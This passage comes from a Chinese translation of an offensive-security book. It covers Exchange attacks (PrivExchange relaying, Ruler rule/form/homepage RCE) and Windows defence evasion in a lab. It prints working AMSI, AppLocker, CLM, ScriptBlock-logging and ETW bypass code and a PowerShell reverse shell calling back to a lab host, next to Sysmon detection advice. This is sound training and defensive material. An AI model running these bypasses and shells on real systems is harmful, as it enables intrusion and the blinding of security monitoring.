第二个条件是机器账户的 NTLM 中继可能性,第三个条件是攻击者可以强制 Exchange 通过PushSubscription功能对监听器进行身份验证。我们将在第五章中更详细地讨论中继问题。

让我们通过使用ntlmrelayx工具和privexchange漏洞[27]来执行攻击:

python privexchange.py -ah 192.168.56.100 exchange.windomain.local -u vinegrep -d windomain.local
ntlmrelayx.py -t ldap://192.168.56.102 --escalate-user vinegrep

命令的结果如下。值得一提的是,用户应在 Exchange Server 上有一个邮箱:

图 1.21 – PushSubscription API 调用成功

图 1.21 – PushSubscription API 调用成功

由于我们已部署 Exchange Server 2016 CU12,因此它不易受到此攻击。Microsoft 移除了在发送通知时 Exchange 的自动身份验证功能。此外,Exchange 权限也被降低了。

下一部分将讨论通过 Outlook 规则、表单和主页获取初步立足点的方法。

获取立足点

在本节中,我们将讨论在邮箱被攻破后如何通过规则、表单和文件夹主页实现远程代码执行(RCE)的方法。如果 Outlook 没有被修补,这些方法仍然有效。需要注意的是,我们讨论的是 Outlook 中的客户端规则。

让我们从 Outlook 规则[28]开始。规则存储在 Exchange 服务器中,新的 Outlook 实例会接收所有现有的规则。我们关注的是规则的动作部分及其触发条件。当我们创建规则时,有两个动作看起来很有前景:启动应用程序和运行脚本。要执行攻击,我们需要有效的凭据、启用的 MAPI over HTTP,并且需要将恶意文件放置在磁盘上或通过 UNC 路径(也可以使用 WebDAV)访问。此攻击在已修补的 Outlook 2016 及更高版本上无法使用。为了执行此攻击,我们可以使用一个名为 Ruler[29]的工具。以下命令将在 30 秒后创建并触发规则:

./ruler -u vinegrep -p 'Qwerty123!' -d windomain.local -e vinegrep@windomain.local -k --url https://192.168.56.106/autodiscover/autodiscover.xml --verbose –-debug add --trigger "vinegrep" --name evil --location \\\\192.168.56.100:8000\\payload.exe --send

规则已成功创建:

图 1.22 – 创建规则

图 1.22 – 创建规则

有两个重要的注意事项:我们不能提供命令行参数,且需要允许外发的 WebDAV 流量。此外,在 2013 年 6 月的 Microsoft 补丁(KB3191938)更新之后,Outlook[30] 默认禁用了同时运行应用程序和脚本的规则。

接下来,我们将讨论 Outlook 表单[31]。它是在微软杀死规则向量后引入的。其思想是我们可以创建一个内部包含 VBScript 代码的自定义表单。幸运的是,这个脚本引擎与 VBA 宏脚本引擎是分开的,因此禁用宏并不会起作用。为了远程触发表单,我们需要发送一个正确的邮件消息类型。我们需要在 Outlook 中创建相同的表单。这项技术是实现持久化的好方法。即使受害者更改了密码,我们也可以只发送一封电子邮件并获得我们的 Shell。要运行此攻击,我们可以再次使用标尺:

./ruler -e vinegrep@windomain.local form add --suffix evil --input /tmp/command.txt --send
./ruler -e vinegrep@windomain.local form send --prefix evil

2017 年 9 月,当 Outlook 的 KB4011091 更新[32]发布时,定制表单脚本向量被摧毁。

有一个第三个向量需要讨论,称为 Outlook 主页[33]。主页允许我们通过指定一个 URL,当文件夹被打开时加载并显示该 URL,来自定义任何文件夹的默认视图。代码执行来自OutlookViewCtl CLSID(0006F063-0000-0000-C000-000000000046),它作为对象嵌入并可以在CreateObject方法中使用。我们需要做的就是创建我们自定义的主页,并借助标尺为用户设置它:

./ruler -u vinegrep -p 'Qwerty123!' -d windomain.local -e vinegrep@windomain.local -k --url https://192.168.56.106/autodiscover/autodiscover.xml --verbose --debug homepage add --url http://192.168.56.106/homepage.xhtml

命令执行的结果可以在以下截图中看到:

图 1.23 – 设置 Outlook 主页

图 1.23 – 设置 Outlook 主页

微软在 2017 年 10 月通过 KB4011162 更新[34]完全删除了这个向量的主页功能。减少攻击面是解决问题的最佳方法。

在本节中,我们讨论了针对 Exchange Server 的不同攻击向量。为了缓解密码喷洒攻击,必须使用多因素认证(MFA)和适当的登录监控。所有 RCE 漏洞迟早都会收到补丁。还需要修补客户端软件,因为它可以被滥用进行横向移动和持久化。

总结

在本章中,我们为未来的活动部署了我们的实验室。我们很幸运地有两个杰出的免费项目可用于培训和研究。之后,我们讨论了 Active Directory 的攻击链、攻击目标环境的关键步骤,以及什么是 OpSec。然后,我们深入探讨了假设漏洞模型,展示了需要克服的重大障碍,以实现稳定的初步访问。我们讨论了三种针对 Exchange Server 的主要攻击向量:凭证访问、Zero2Hero 漏洞利用和客户端软件滥用。在下一章中,我们将探讨防御规避主题的皮毛。这是一个广泛且深入的话题,最终你会发现它归结为规则了解 你的工具

进一步阅读

以下资源供进一步学习,将帮助你更深入了解本章中涵盖的攻击:

  1. Splunk 攻击范围 – github.com/splunk/attack_range

  2. Orange Cyberdefense GOADv2 – github.com/Orange-Cyberdefense/GOAD

  3. 在 Proxmox 上部署 GOADv2 – mayfly277.github.io/categories/proxmox/

  4. DetectionLab 项目 – www.detectionlab.network/

  5. Active Directory 杀链图 – github.com/infosecn1nja/AD-Attack-Defense

  6. 红队基础设施 Wiki – github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki

  7. EDR 绕过团队 – dispatch.redteams.fyi/red-team-edr-bypass-team/

  8. 假设漏洞模型 – www.redsiege.com/wp-content/uploads/2019/09/AssumedBreach-ABM.pdf

  9. 评估 Exchange 服务器安全性的思维导图 – github.com/Orange-Cyberdefense/arsenal/blob/master/mindmap/Pentesting_MS_Exchange_Server_on_the_Perimeter.png

  10. MailSniper – github.com/dafthack/MailSniper

  11. NameMash – gist.github.com/superkojiman/11076951#file-namemash-py

  12. EmailAddressMangler – github.com/dafthack/EmailAddressMangler

  13. snovvcrash 编写的 OABurl 提取脚本 – gist.github.com/snovvcrash/4e76aaf2a8750922f546eed81aa51438#file-oaburl-py

  14. 攻击 Exchange Web 接口 – swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/

  15. PEAS: Python 2 库和应用程序,用于在 Exchange 服务器上运行命令 – github.com/snovvcrash/peas

  16. MWR ActiveSync 外泄研究 – labs.withsecure.com/publications/accessing-internal-fileshares-through-exchange-activesync

  17. ProxyLogon 漏洞发现 – devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/

  18. 追踪 ProxyLogon – bi-zone.medium.com/hunting-down-ms-exchange-attacks-part-1-proxylogon-cve-2021-26855-26858-27065-26857-6e885c5f197c

  19. 发现 ProxyOracle 的漏洞研究人员的博客 – devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-2-ProxyOracle/

  20. 关于 ProxyShell 的完整报告可以在 ZDI 博客中找到,链接如下 – www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell

  21. Palo Alto 的博客文章,涵盖 ProxyNotShell 漏洞 – unit42.paloaltonetworks.com/proxynotshell-cve-2022-41040-cve-2022-41082/

  22. ProxyRelay 作者介绍该漏洞的详细信息 – devco.re/blog/2022/10/19/a-new-attack-surface-on-MS-exchange-part-4-ProxyRelay/

  23. 关于 ProxyNotRelay 的报告,它是 ProxyRelay 和 ProxyNotShell 的结合 – rw.md/2022/11/09/ProxyNotRelay.xhtml

  24. 漏洞 CVE-2020-0688 导致 Exchange Server 上的远程代码执行 – www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys

  25. Ysoserial.net – github.com/pwntester/ysoserial.net

  26. 关于 PrivExchange 漏洞的原创研究 – dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/

  27. PrivExchange – github.com/dirkjanm/privexchange/

  28. 通过 Outlook 邮件规则破坏工作站 – sensepost.com/blog/2016/mapi-over-http-and-mailrule-pwnage/

  29. Ruler 工具 – github.com/sensepost/ruler

  30. 微软公告 KB3191938 – support.microsoft.com/en-us/topic/description-of-the-security-update-for-outlook-2013-june-13-2017-d52f7b9a-488c-dd5a-0d43-da5832eaac5f

  31. 使用 Outlook 表单实现持久性 – sensepost.com/blog/2017/outlook-forms-and-shells/

  32. 微软公告 KB4011091 – support.microsoft.com/en-us/office/custom-form-script-is-now-disabled-by-default-bd8ea308-733f-4728-bfcc-d7cce0120e94

  33. Outlook 主页功能滥用 – sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/

  34. 微软公告 KB15599094 – learn.microsoft.com/en-us/mem/configmgr/hotfix/2207/15599094

第二章:防御规避

本章的主要思想很简单 – 了解你的工具。在获得目标机器的初始立足点后,从 GitHub 上获取新工具可能非常诱人,寻找低 hanging fruit 和快速胜利。在一些培训实验室中学习攻击概念可能效果很好;然而,在真实的参与中,一个成熟的对手可以轻松检测到你的恶意活动。有很多专业编写的工具,既有防御也有进攻,更不用说 C2 框架、供应商 EDR 等等。

本章不是一个完全全面的指南,教你如何规避所有可能的检测。规避是一个不断发展的游戏,处于攻击和防御之间。有几个因素可以影响进攻操作的方式,包括准备工作、特定工具的开发、团队的技能组合以及双方的能力。我们不会触及 EDR/杀毒软件规避。已经出版了一些优秀的书籍,将教你如何找到和开发可能的绕过方法,包括攻击安全解决方案本身。

我们将专注于可以在 Windows 环境中部署和强制执行的内置安全功能。在本章中,我们将涵盖以下主要主题:

  • AMSI、AppLocker 和 PowerShell Constrained Language ModeCLM)的部署和绕过

  • 部署 PowerShell 增强日志记录,规避它,并使用 Sysmon 来检测自己

  • 什么是 ETW?它可以提供什么额外的功能和见解?

技术要求

在本章中,你将只使用 GOADv2 实验室中的两个虚拟机 – DC01 和 SRV01。确保 SRV01 是一个加入域的机器,因为我们将在本章中使用组策略。

AMSI、PowerShell CLM 和 AppLocker

在本节中,我们将讨论 Windows 中一些内置功能,可以限制攻击者在受损机器上的操作。AMSI、AppLocker 和 PowerShell CLM 可以以不同方式被绕过,但将它们视为深度防御是一个明智的决定。像往常一样,我们需要了解限制,并在可能的情况下覆盖绕过。

Antimalware Scan Interface

让我们首先讨论Antimalware Scan InterfaceAMSI)是什么。微软开发了它,为应用程序提供一组 API 调用,包括任何第三方应用程序,以执行基于签名的内容扫描。Windows Defender 使用它来扫描 PowerShell 脚本、.NET、VBA 宏、Windows 脚本宿主WSH)、VBScript 和 JavaScript 以检测常见恶意软件。关于 AMSI 的重要之处在于你不需要部署它;自 Windows 10 以来它一直存在。

简单来说,AMSI 算法的工作原理如下:

  1. amsi.dll将加载到进程内存空间中;例如,PowerShell 和AmsiInitialize将被调用。

  2. 然后调用AmsiOpenSession,为扫描打开一个会话。

  3. 在调用其中一个 API(AmsiScanBufferAmsiScanString)执行之前,脚本内容将被扫描。

  4. 如果内容没有已知的恶意签名,Microsoft Defender 将返回1作为结果,脚本将被执行。

为了确认 AMSI 的行为,我们可以使用 Process Hacker[1]或 API monitor[2]。这些开源工具允许我们查看加载的进程内模块,获取有关它们的信息以及其他许多信息。在以下截图中,我们可以看到已加载的amsi.dll及其导出的函数列表:

图 2.1 – 加载的 amsi.dll 及其导出函数

图 2.1 – 加载的 amsi.dll 及其导出函数

来自 Microsoft 文档的重要警告如下:“但你最终需要向脚本引擎提供纯净的、未混淆的代码。正是在这个点上你调用 AMSI API。”用来证明这一点的快速测试如下:

图 2.2 – 检测与串联

图 2.2 – 检测与串联

这看起来很简单。我们可以先分割字符串,然后使用串联绕过 AMSI,但在更复杂的代码中,这种方法将需要更多的努力。研究人员用来开发可靠绕过的策略有很多——编码/混淆、钩子、内存修补、强制错误、注册表键修改和 DLL 劫持。你可以找到由S3cur3Th1sSh1t[3]和Pentest Laboratories[4]创建的两份很棒的绕过汇总列表及其原创研究致谢。某些绕过看起来像一个单行代码,但我强烈建议你深入研究并回顾它们,阅读原始研究并理解思维过程。还值得一提的是,并非每个绕过都会成功,因为微软也在不断修补它们。老牌的 base64 编码一行代码可能不会奏效。确保绕过在目标环境中有效的最佳方法是准确识别受害者的操作系统版本,在你的实验室环境中重现它,并进行测试、测试、测试。

注意

对于一些快速解决方案,有一个由Flangvik开发的免费优秀网站(amsi.fail/),你可以在这个网站上生成各种 PowerShell 代码片段来禁用或突破 AMSI。另一个有用的工具是 Invoke-Obfuscation[5],由Daniel Bohannon编写。这个工具有不同的模式。对我而言,AST 模式是大多数时候提供可靠绕过的模式。其原理是,脚本将被混淆处理,以至于打破 AMSI 中的 AST 解析算法。

我们将尝试使用三种不同的技术绕过 AMSI:错误强制、混淆和内存修补。如前所述,我将使用 SRV01 机器:

Get-WmiObject Win32_OperatingSystem | Select PSComputerName, Caption, Version | fl
PSComputerName : CASTELROCK
Caption        : Microsoft Windows Server 2019 Datacenter Evaluation
Version        : 10.0.17763

方法 1 – 错误强制

让我们首先看看错误强制代码和一些分割/串联的幻想:

$w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m))
$field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static')
$field.SetValue($null,$true)

执行上述命令的结果如下面的截图所示:

图 2.3 – 强制错误

图 2.3 – 强制错误

方法 2 – 混淆

对于 AST 混淆,我们可以尝试使用 Nishang 框架[6]中的 PowerShellTcpOneLine.ps1 反向 Shell 回调,以及之前提到的 Invoke-Obfuscation 工具。我们将在另一台 Windows 计算机上使用 powercat[7] 在 443 端口上设置监听器。以下是原始的反向 Shell 代码:

$client = New-Object System.Net.Sockets.TCPClient('192.168.214.135',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

当我们尝试运行时,AMSI 捕获了我们:

图 2.4 – AMSI 阻止原始反向 Shell

图 2.4 – AMSI 阻止原始反向 Shell

让我们运行 Invoke-Obfuscation 工具,选择 AST 混淆,并提供原始反向 Shell 的路径。经过混淆后,代码如下所示:

Set-Variable -Name client -Value (New-Object System.Net.Sockets.TCPClient('192.168.214.135',443));Set-Variable -Name stream -Value ($client.GetStream());[byte[]]$bytes = 0..65535|%{0};while((Set-Variable -Name i -Value ($stream.Read($bytes, 0, $bytes.Length))) -ne 0){;Set-Variable -Name data -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i));Set-Variable -Name sendback -Value (iex $data 2>&1 | Out-String );Set-Variable -Name sendback2 -Value ($sendback + 'PS ' + (pwd).Path + '> ');Set-Variable -Name sendbyte -Value (([text.encoding]::ASCII).GetBytes($sendback2));$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

运行上述命令得到的结果如下:

图 2.5 – 混淆后的反向 Shell 回调

图 2.5 – 混淆后的反向 Shell 回调

方法 3 – 内存补丁

我们可以通过几种方式在内存中操控 AMSI 来实现绕过。其背后的关键原因是我们完全控制了 amsi.dll 被加载的进程。一个例子是强制 AmsiScanBuffer 返回 AMSI_RESULT_CLEAN。一般思路是导入 API 调用,然后返回一个特定的值给 AmsiScanBuffer() 调用:0x80070057。原始的绕过方法现在已被 AMSI 检测到,因此我们可以通过使用双重 add 操作数并成功绕过控制来操控汇编指令。相关代码如下:

$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$test = [Byte[]](0x61, 0x6d, 0x73, 0x69, 0x2e, 0x64, 0x6c, 0x6c)
$LoadLibrary = [Win32]::LoadLibrary([System.Text.Encoding]::ASCII.GetString($test))
$test2 = [Byte[]] (0x41, 0x6d, 0x73, 0x69, 0x53, 0x63, 0x61, 0x6e, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72)
$Address = [Win32]::GetProcAddress($LoadLibrary, [System.Text.Encoding]::ASCII.GetString($test2))
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0x31, 0xC0, 0x05, 0x78, 0x01, 0x19, 0x7F, 0x05, 0xDF, 0xFE, 0xED, 0x00, 0xC3)
#0:  31 c0                   xor    eax,eax
#2:  05 78 01 19 7f          add    eax,0x7f190178
#7:  05 df fe ed 00          add    eax,0xedfedf
#c:  c3                      ret
#for ($i=0; $i -lt $Patch.Length;$i++){$Patch[$i] = $Patch[$i] -0x2}
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, $Patch.Length)

运行上述命令得到的结果如下:

图 2.6 – 使用内存补丁成功解除 AMSI 防护

图 2.6 – 使用内存补丁成功解除 AMSI 防护

作为攻击者,我们不能忽视一些防御机制也可能被滥用和绕过的事实。一个很好的例子是 netbiosX[8] 发布的内容,指出 AMSI 可以用来在被攻破的主机上实现持久性。利用之前的研究和他们的编码技巧,开发了一个伪造的 AMSI 提供者并在被攻破的主机上注册。通过使用特殊的关键词,我们可以从后门发起回调。

此处提到的所有技术都会在受害者的机器上留下某种痕迹。此外,即使绕过成功,防御者仍然有可能捕捉到。Pentest Laboratories[9] 和 F-Secure[10] 的精彩博客文章展示了如何创建检测并分享现成的可用方案。

在接下来的章节中,我们将讨论两种在企业环境中常见的安全控制措施。

AppLocker 和 PowerShell CLM

AppLocker 是微软在 Windows 7 中添加的,作为较旧的软件限制策略SRP)的继任者。它本应成为一种全面的应用程序白名单解决方案。通过这个功能,你不仅可以限制应用程序,还可以限制脚本、批处理文件、DLL 等。限制的方式有几种:按名称、路径、发布者或哈希值进行限制。微软指出,AppLocker 是一个安全功能,而不是边界。现在的推荐做法是尽可能严格地执行Windows Defender 应用程序控制WDAC),然后使用 AppLocker 来微调限制。然而,在复杂的企业环境中,仍然常见单独使用 AppLocker,因为它更容易部署和管理。

为了更详细地了解 AppLocker 的工作原理,我建议你阅读Tyraniddo关于此功能的博客四个部分[11]。他从 AppLocker 的设置和概述开始。第二部分,作者揭示了操作系统内核如何阻止进程创建,并通过一个清晰的例子加以说明。第三部分专注于规则处理,涉及访问令牌和访问检查。读者对安全描述符和令牌的基本了解会有所帮助。最后一部分则完全聚焦于 DLL 阻止。

现在我们知道了 AppLocker 是什么,为什么还需要其他功能呢?什么是 PowerShell CLM,它与 AppLocker 有什么关系?简而言之,我们可以通过启用 CLM 来限制用户使用 PowerShell 的敏感语言功能。这些敏感功能的一些例子包括 Windows API 调用、创建任意类型和点源代码[12]。

CLM 可以通过环境变量强制执行,或者通过语言模式进行设置。然而,这些方法不可靠,攻击者几乎不费吹灰之力就能绕过它们。但是,通过系统级的应用控制解决方案,它是可以使用的。其思想是,当 AppLocker 策略被执行时,PowerShell 会检测到并仅在 CLM 中运行。

这些保护措施有多强大?

我们将在我们的sevenkingdoms.local实验室域中部署它。我建议在实验室中进行任何更改之前先拍摄一个快照,这样我们可以在需要时迅速恢复到初始状态。我们将在 DC01 上创建一个 AppLocker 组策略,并将其强制执行到 SRV01 服务器上。如果你从未部署过 AppLocker,这里有一份友好的指南[13]。规则很简单——动作、用户、条件以及必要时的例外。通过遵循前面提到的指南[13],我们将为用户创建默认规则并限制运行cmd.exe。一个重要的注意事项——如果你属于管理员组,默认情况下,AppLocker 不会应用到你的账户。要检查当前的规则集,我们可以使用以下命令:

Get-AppLockerPolicy -Effective | Select-Object RuleCollections -ExpandProperty RuleCollections

新的Deny_CMD规则可以在以下截图中看到:

图 2.7 – AppLocker 中的拒绝规则

图 2.7 – AppLocker 中的拒绝规则

此外,由于我们还对脚本强制执行了规则,PowerShell 在 CLM 中失效了。可以使用以下命令轻松检查:

图 2.8 – PowerShell CLM 的实际操作

图 2.8 – PowerShell CLM 的实际操作

这些安全功能的健壮性取决于我们正在实施的规则的质量。在 AppLocker 中,我们有发布者、文件哈希和路径条件。让我们简要讨论它们并展示一些可能的绕过方法。

路径限制可以通过评估受信任的路径并将我们的二进制文件复制到那里来绕过;例如,在C:\Windows内有许多子文件夹,普通用户可以在那里复制文件。通过更改二进制文件为规则中提到的已知哈希值的二进制文件,可以绕过文件哈希拒绝规则。让我们绕过前两个条件并在主机上执行nc64.exe。我创建了一个规则,通过其哈希值阻止nc64.exe。我们首先将nc64.exe复制到C:\Windows\System32\spool\drivers\color\,然后通过在文件末尾添加额外的A来更改文件哈希值以绕过文件哈希规则。绕过的结果如下:

图 2.9 – nc.exe 的路径和哈希规则绕过

图 2.9 – nc.exe 的路径和哈希规则绕过

发布者条件要难得多。原因是将检查应用程序的发布者签名和扩展属性。我们不能使用自签名证书来绕过它,但我们可以滥用具有我们需要的扩展功能的合法签名二进制文件。在lolbas-project.github.io/上有一个包含此类二进制文件列表的整个项目。有两篇关于常见 LOLBAS 滥用以绕过 AppLocker 的博客文章,使用InstallUtil[14]和 MSBuild[15]。简而言之,我们将使用MSBuild.exe来编译和运行存储在 XML 文件中的恶意代码;例如,使用 Windows API 我们可以分配内存,并复制和运行我们的 shellcode。另一种方法是使用 InstallUtil 在受害者的计算机上运行我们的可执行文件:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U "C:\Windows\Tasks\my.exe"

但是如果cmd.exe被锁定怎么办?没关系!您可以创建所需二进制文件的快捷方式,比如 InstallUtil 和 csc,然后手动更改目标字段值,以便存储所需的命令行来执行。只要 LOLBAS 二进制文件没有被阻止,它仍然可以可靠地工作。整个包含 AppLocker 绕过列表的项目都可以在 GitHub[16]上找到。通过评估它们,我们可以评估我们的规则有多健壮。

说到 CLM 绕过,有多种方法可以实现完全语言模式(Full Language Mode),例如启动 PowerShell 使其降级到版本 2(现在很少安装),使用rundll32.exe配合PowerShlld.dll[17],或者使用绕过方法,如InstallUtil[18]的包装器和函数返回值修补[19]。如今,后三个项目需要混淆才能避开 Microsoft Defender。要了解更多关于如何寻找绕过的方法,我推荐阅读XPN的优秀研究报告,“通过 COM 实现的 AppLocker 和 CLM 绕过”[20]。不过让我给你展示一下我最近发现的一个我最喜欢的绕过方法,由sp00ks提供[21]。以下代码在 HKCU 注册表中设置环境变量值(你不需要是管理员),使用 WMI 创建一个 PowerShell 进程,然后再将值恢复:

$CurrTemp = $env:temp
$CurrTmp = $env:tmp
$TEMPBypassPath = "C:\windows\temp"
$TMPBypassPath = "C:\windows\temp"
Set-ItemProperty -Path 'hkcu:\Environment' -Name Tmp -Value "$TEMPBypassPath"
Set-ItemProperty -Path 'hkcu:\Environment' -Name Temp -Value "$TMPBypassPath"
Invoke-WmiMethod -Class win32_process -Name create -ArgumentList "Powershell.exe"
sleep 5
#Set it back
Set-ItemProperty -Path 'hkcu:\Environment' -Name Tmp -Value $CurrTmp
Set-ItemProperty -Path 'hkcu:\Environment' -Name Temp -Value $CurrTemp

运行前述命令后得到的结果如下:

图 2.10 – CLM 绕过示例

图 2.10 – CLM 绕过示例

正如我们在本节开头提到的,增强应用程序控制的最佳方法是将Windows Defender 应用程序控制WDAC)与 AppLocker 一起部署。最强大的规则集之一叫做 AaronLocker[22],它可以通过组策略[23]与 WDAC 一起部署到你的环境中。建议首先以审核模式监控你的规则集,逐步进行优化。

PowerShell 增强日志记录与 Sysmon

在这一部分,我们将探讨 Sysmon[24] 是什么以及如何利用它来检测攻击者的活动。Sysmon 是 Windows 中的一项系统服务,我们可以安装它并用来记录各种事件的信息,包括进程创建、文件事件、注册表访问、命名管道和网络连接。日志会保存在 Windows 事件收集器中。Sysmon 不会阻止任何攻击或提供事件分析。目前有一些很好的项目可以帮助你开始使用 Sysmon。TrustedSec[25] 提供了一个很好的社区指南,我们将使用SwiftOnSecurity[26] 创建的 Sysmon 配置文件,因为它是最佳的高质量事件追踪模板之一。另外,Florian Roth[27] 和 Olaf Hartong[28] 也创建了提供多种配置文件的项目。

让我们安装 Sysmon,应用前一个项目中的配置,并开始深入分析日志。安装过程非常简单;只需以管理员身份运行一个命令,命令如下:

Sysmon64.exe -accepteula -i sysmonconfig-export.xml

预期结果如下:

图 2.11 – Sysmon 安装

图 2.11 – Sysmon 安装

现在,我们将启用 PowerShell 转录、脚本块和模块日志记录。为了启用这些功能,我将使用 kingslanding.sevenkingdoms.local 上的组策略管理工具。我将在 计算机配置 | 策略 | 管理模板 | **Windows 组件 | **Windows PowerShell 中创建一个单独的 GPO。可以在以下截图中看到这些设置:

图 2.12 – 启用 PowerShell 日志记录的组策略

图 2.12 – 启用 PowerShell 日志记录的组策略

这些日志记录功能旨在为防御者提供更好的可见性,特别是在组织中预计会使用 PowerShell 时。我们的第一个控制是 脚本块日志记录,包括 可疑命令的警告日志记录。已知 cobbr.io(C2 Covenant 框架的作者)发现了 ScriptBlock 日志记录[29] 和可疑命令日志记录[30] 的绕过方法。我只是稍微修改了代码以绕过 AMSI,并增加了一些可见性:

$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetF`ie`ld"('cachedGro'+'upPolicySettings', 'N'+'onPu'+'blic,Static')
If ($GroupPolicyField) {
  $GroupPolicyCache = $GroupPolicyField.GetValue($null)
  Write-Host("Before")
  $GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] | fl
  If ($GroupPolicyCache['ScriptB'+'lockLogging']) {
    $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0
    $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0
  }
  $val = [System.Collections.Generic.Dictionary[string,System.Object]]::new()
  $val.Add('EnableScriptB'+'lockLogging', 0)
  $val.Add('EnableScriptB'+'lockInvocationLogging', 0)
  $GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] = $val
  Write-Host("After")
  $GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] | fl
}

运行上述命令后得到的结果如下:

图 2.13 – PowerShell 脚本块日志记录绕过

图 2.13 – PowerShell 脚本块日志记录绕过

需要考虑的一点是,我们的绕过操作仍然会被记录,直到我们首先禁用当前 PowerShell 会话中的Windows 事件跟踪ETW)。可以使用以下命令完成此操作:

[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)

我们还可以混淆此命令以绕过可疑的脚本块日志记录。不要过于依赖混淆,因为经验丰富的蓝队会使用 DeepBlue[31] 等工具进行去混淆,并立即展开调查。幸运的是,对于这个绕过,我们不需要提升权限,只需操作组策略中的缓存值,因此无需修改主机。

BC-security 在他们的系列博客文章中引入了两个新的 PowerShell ScriptBlock 和 Module Logging 绕过方法。ScriptBlock 绕过基于这样一个事实:已经记录的脚本块如果第二次遇到会被跳过。其思路是在调用脚本之前将 HasLogged 的值设置为 True。Module Logging 绕过的目的是创建一个没有关联模块或 PowerShell 快捷方式的可调用命令[32]。博客系列的第二部分展示了如何对命令进行混淆,从而使防御者的分析更加困难[33]。针对这些绕过的快速预防建议将需要 PowerShell Protect 模块[34]。

但是,如果启用了 PowerShell Transcription,我们的活动仍将记录在文件中,而不管之前的绕过。原因是即使我们在活动的 PowerShell 会话中禁用了转录,它仍将继续转录并忽略新更改的值。最初的绕过方法是由Jann Lemm在他的博客文章中展示的。这个想法是创建一个自定义 runspace,覆盖EnableTranscripting的值,然后打开新的 runspace。博客文章中提供了概念验证代码。

但如果有一个工具可以帮助我们几乎不需要任何手动操作就绕过所有东西呢?那么,请欢迎 Invisi-Shell,由Omer Yair编写。该工具通过 CLR Profiler API 钩住.NET 程序集,使 PowerShell 安全控制失效。有关更多详细信息,我强烈建议您阅读该工具的代码,并观看作者在 DerbyCon 上的原始演讲。但请记住,该工具相当古老,并且很容易被大多数安全解决方案检测到。

实现所有这些的最新工具是由mgeeky编写的,名为Stracciatella[37]。该工具基于 SharpPick 技术(从 C#程序集中启动 PowerShell 代码使用 runspaces),内置了 AMSI、ETW 和 PowerShell 日志记录绕过。但仍然需要一些 AV 逃避。

假设我们在受损的计算机上获得了管理员权限,并决定通过修改位于HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription中的EnableTranscripting注册表键来禁用转录。可以通过以下 PowerShell 命令从提升的 shell 中运行来完成:

Set-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription -Name  EnableTranscripting -Value 0

但假设我们有一个 Sysmon 规则,如下所示:

<TargetObject name="PowerShell Logging Changes" condition="begin with">HKLM\Software\Policies\Microsoft\Windows\PowerShell\</TargetObject>

我们将收到一个可能触发调查的事件:

图 2.14 – Sysmon 检测到注册表更改

图 2.14 – Sysmon 检测到注册表更改

另一个 Sysmon 检测的好例子是通过注册表删除 AMSI 提供程序,这将在日志中创建事件 ID 13。所有提供程序都有其独特的键。例如,Windows Defender 有HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}。如果您检查已发布的配置文件,Sysmon 可以从检测的角度提供更多信息。

另一个 Sysmon 的好例子是网络连接检测。让我们尝试运行类似以下命令的内容:

SyncAppvPublishingServer.vbs "br; iwr http://192.168.13.152:443/a"

Sysmon 会检测活动,但不会阻止连接:

图 2.15 – Sysmon 检测到可疑的出站连接

图 2.15 – Sysmon 检测到可疑的出站连接

我们即将结束这一节,所以让我们简要地浏览一下查找和篡改 Sysmon 的可能方法。spotheplanet[38]创建了一个很好的指南。对手可以检查进程和服务名称,评估 Sysmon Windows 事件的注册表键,并搜索 Sysmon 配置和工具。

